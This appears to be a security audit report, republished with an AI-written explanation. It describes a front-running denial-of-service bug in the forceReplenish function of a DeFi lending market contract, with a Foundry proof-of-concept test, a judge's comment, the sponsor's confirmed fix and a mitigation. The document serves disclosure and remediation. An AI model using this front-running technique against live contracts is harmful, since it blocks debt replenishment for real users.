Market::forceReplenish can be DoSed
The forceReplenish function in Market.sol can be front-run with a dust amount to prevent a full replenishment, causing the transaction to revert. An attacker could repeatedly front-run to deny the replenishment service.
Submitted by immeas
If a user wants to completely forceReplenish a borrower with deficit, the borrower or any other malicious party can front run this with a dust amount to prevent the replenish.
Proof of Concept
function testForceReplenishFrontRun() public {
gibWeth(user, wethTestAmount);
gibDBR(user, wethTestAmount / 14);
uint initialReplenisherDola = DOLA.balanceOf(replenisher);
vm.startPrank(user);
deposit(wethTestAmount);
uint borrowAmount = getMaxBorrowAmount(wethTestAmount);
market.borrow(borrowAmount);
uint initialUserDebt = market.debts(user);
uint initialMarketDola = DOLA.balanceOf(address(market));
vm.stopPrank();
vm.warp(block.timestamp + 5 days);
uint deficitBefore = dbr.deficitOf(user);
vm.startPrank(replenisher);
market.forceReplenish(user,1); // front run DoS
vm.expectRevert("Amount > deficit");
market.forceReplenish(user, deficitBefore); // fails due to amount being larger than deficit
assertEq(DOLA.balanceOf(replenisher), initialReplenisherDola, "DOLA balance of replenisher changed");
assertEq(DOLA.balanceOf(address(market)), initialMarketDola, "DOLA balance of market changed");
assertEq(DOLA.balanceOf(replenisher) - initialReplenisherDola, initialMarketDola - DOLA.balanceOf(address(market)),
"DOLA balance of market did not decrease by amount paid to replenisher");
assertEq(dbr.deficitOf(user), deficitBefore-1, "Deficit of borrower was not fully replenished");
// debt only increased by dust
assertEq(market.debts(user) - initialUserDebt, 1 * replenishmentPriceBps / 10000, "Debt of borrower did not increase by replenishment price");
}
This requires that the two txs end up in the same block. If they end up in different blocks the front run transaction will need to account for the increase in deficit between blocks.
Tools Used
vscode, forge
Recommended Mitigation Steps
Use min(deficit,amount) as amount to replenish.
Very similar to
#439and unclear as the benefit the attacker is gaining here. They would be better off just front running the entire transaction and getting additional reward. Will leave open for sponsor review, but most likely QA or invalid.
08xmt (Inverse) confirmed and commented:
Fixed in https://github.com/InverseFinance/FrontierV2/pull/16. Possible to imagine a situation where an attacker has an underwater loan and keeps front running his own forced replenishments with single digit DBR forced replenishments.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The forceReplenish function requires the amount to be exactly the current deficit, so any prior reduction (even by 1) causes a revert.
Impact
A malicious party could repeatedly front-run to prevent full replenishment, though the judge noted the attacker gains little benefit and the issue may be low severity.
What the attacker needed
Borrower has a deficit; attacker can front-run transactions
The fix
The fix was to use min(deficit, amount) as the amount to replenish, and it was fixed in a pull request.
How it was found
- User borrows and after 5 days a deficit exists.
- Replenisher calls forceReplenish with the full deficit amount.
- Attacker front-runs with a forceReplenish of 1 wei, reducing the deficit by 1.
- Replenisher's transaction reverts because the amount exceeds the new deficit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A borrower owes more than allowed, and anyone can call forceReplenish to fix that by paying off part of the debt. But if someone else calls forceReplenish first with a tiny amount, the original call fails because the remaining deficit is now smaller than the amount it tries to repay. This lets an attacker block the full replenishment.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.